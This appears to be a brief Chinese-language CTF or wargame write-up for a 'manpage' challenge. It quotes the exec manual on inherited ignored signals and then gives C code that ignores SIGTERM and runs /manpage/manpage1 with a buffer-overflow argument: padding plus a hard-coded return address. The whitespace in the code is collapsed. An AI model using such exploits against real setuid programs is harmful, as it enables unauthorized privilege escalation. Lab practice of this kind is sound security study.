exec的manual里是这么说的
Except for SIGCHLD, signals set to be ignored (SIG_IGN) by the calling process image shall be set to be ignored by the new process image.
于是我们先把SIGTERM设为忽略，再调用manpage1
#include <signal.h>#include <unistd.h>#include <stdlib.h>#include <string.h>intmain(intargc,char*args[]){chararg1[273];memset(arg1,'A',sizeofarg1);strncpy(arg1+268,"\xf1\xd8\xff\xff",5);signal(SIGTERM,SIG_IGN);//execl("./././././envAddr", "", arg1, NULL);execl("/manpage/manpage1","",arg1,NULL);}